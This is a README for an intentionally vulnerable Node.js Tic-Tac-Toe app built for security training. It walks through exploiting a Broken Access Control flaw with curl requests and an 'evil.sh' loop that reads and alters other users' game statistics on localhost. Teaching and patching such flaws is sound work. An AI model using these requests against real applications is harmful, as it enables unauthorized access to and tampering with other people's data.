Tic-Tac-Toe is a simple Nodejs web application that contains an example of a Broken Access Control vulnerability and its main goal is to describe how a malicious user could exploit it.
Restrictions on what authenticated users are allowed to do are often not properly enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access to other users' accounts, view sensitive files, modify other users’ data, change access rights, etc.
The main goal of this app is to discuss how Broken Access Control vulnerabilities can be exploited and to encourage developers to send secDevLabs Pull Requests on how they would mitigate these flaws.
To start this intentionally insecure application, you will need Docker and Docker Compose. After forking secDevLabs, you must type the following commands to start:
cd secDevLabs/owasp-top10-2021-apps/a1/tictactoe
make install
Then simply visit http://localhost.:10005 ! 😆
To properly understand how this application works, you can follow this step:
- Try registering a user
- Sign in
- Play the game
- See your statistics
Now that you know the purpose of this app, what could go wrong? The following section describes how an attacker could identify and eventually find sensitive information about the app or its users. We encourage you to follow these steps and try to reproduce them on your own to better understand the attack vector! 😜
In order to better understand how the application handles its data, two users, user1
and user2
, can be created using the web interface by visiting http://locahost.:10005/create as exemplified below:
After logging in as user1
and playing a few times, his/her statistics can be checked by visiting http://localhost.:10005/statistics, as the following picture shows:
To check how this information is being retrieved form the server, an attacker could use Developer Tools from Firefox using Ctrl + Shift + E
or Command + Option + E
on a Mac, as showed bellow:
You can replicate this GET by using the following curl command (use your own tictacsession
token):
curl -s 'GET' -b 'tictacsession=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIxIiwiaWF0IjoxNTYzNDcyODg2LCJleHAiOjE1NjM0NzY0ODZ9.ESLVZ9bbfUbUdFBFRCzxGTPICuaEWdGLxrvWykEmhNk' 'http://localhost.:10005/statistics/data?user=user1'
{
"chartData": [
{ "y": 46.15384615384615, "label": "Wins" },
{ "y": 15.384615384615385, "label": "Ties" },
{ "y": 38.46153846153846, "label": "Loses" }
],
"numbers": { "games": 13, "wins": 6, "ties": 2, "loses": 5 }
}
As this AJAX request is being made passing the username as a URL parameter, it may indicate that only this parameter is being used to verify the permission to get the data. To check this, using the same tictacsession
, an attacker could replace user1
to another known user, as user2
for example:
curl -s 'GET' -b 'tictacsession=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIxIiwiaWF0IjoxNTYzNDcyODg2LCJleHAiOjE1NjM0NzY0ODZ9.ESLVZ9bbfUbUdFBFRCzxGTPICuaEWdGLxrvWykEmhNk' 'http://localhost.:10005/statistics/data?user=user2'
{
"chartData": [
{ "y": 100, "label": "Wins" },
{ "y": 0, "label": "Ties" },
{ "y": 0, "label": "Loses" }
],
"numbers": { "games": 1, "wins": 1, "ties": 0, "loses": 0 }
}
This fact represents a Broken Access Control
vulnerability, allowing an attacker to see every known user's private statistics.
Using the same methodology, an attacker could now check what the application does when a game finishes and tries to store the result. Analyzing the browser inspector once again reveals that a POST was made to the /game
route, as can be seen in the next image:
This request is done by using two parameters, user
and result
, as shown bellow:
To replicate this POST by using the curl command (use your own tictacsession
token), you can type the following command:
curl -s 'POST' -b 'tictacsession=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIxIiwiaWF0IjoxNTYzNDc5MzIxLCJleHAiOjE1NjM0ODI5MjF9.SRVz09ZebGa875MilaV2bj4tjAdTWA14JTuArnUDOZM' 'http://localhost.:10005/game' --data-binary 'user=user1&result=win'
OK
An attacker now could check if, by using another username into this request, he/she could modify other user's statistics. To do so, the parameter user
is changed into another known user, as user2
for example:
curl -s 'POST' -b 'tictacsession=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIxIiwiaWF0IjoxNTYzNDc5MzIxLCJleHAiOjE1NjM0ODI5MjF9.SRVz09ZebGa875MilaV2bj4tjAdTWA14JTuArnUDOZM' 'http://localhost.:10005/game' --data-binary 'user=user2&result=win'
OK
Imagining the worst scenario, an attacker could create a malicious script to send this same request as many times as he/she could, as can be exemplified bellow:
vi evil.sh
#!/bin/sh
#
# evil.sh - Add 100 losses to an user!
user="user2"
num=100
result="lose"
tictacsession="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIxIiwiaWF0IjoxNTYzNDc5MzIxLCJleHAiOjE1NjM0ODI5MjF9.SRVz09ZebGa875MilaV2bj4tjAdTWA14JTuArnUDOZM"
for i in `seq 1 $num`; do
curl -s 'POST' -b "tictacsession=$tictacsession" 'http://localhost.:10005/game' --data-binary "user=$user&result=$result"
done
And run it:
chmod +x evil.sh && ./evil.sh
OKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOK
To check if this attack indeed worked, the malicious user could exploit the previous vulnerability to check user2
statistics using the following command:
curl -s 'GET' -b 'tictacsession=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIxIiwiaWF0IjoxNTYzNDc5MzIxLCJleHAiOjE1NjM0ODI5MjF9.SRVz09ZebGa875MilaV2bj4tjAdTWA14JTuArnUDOZM' 'http://localhost.:10005/statistics/data?user=user2'
{
"chartData": [
{ "y": 3.6363636363636362, "label": "Wins" },
{ "y": 2.727272727272727, "label": "Ties" },
{ "y": 93.63636363636364, "label": "Loses" }
],
"numbers": { "games": 110, "wins": 4, "ties": 3, "loses": 103 }
}
Once again, this fact represents a Broken Access Control
vulnerability, allowing an attacker to modify every known user's private statistics.
How would you mitigate this vulnerability? After your changes, an attacker should not be able to:
- Access other users' private statistics.
- Modify other users' private statistics.
[Spoiler alert 🚨 ] To understand how this vulnerability can be mitigated, check out these pull requests!
We encourage you to contribute to SecDevLabs! Please check out the Contributing to SecDevLabs section for guidelines on how to proceed! 🎉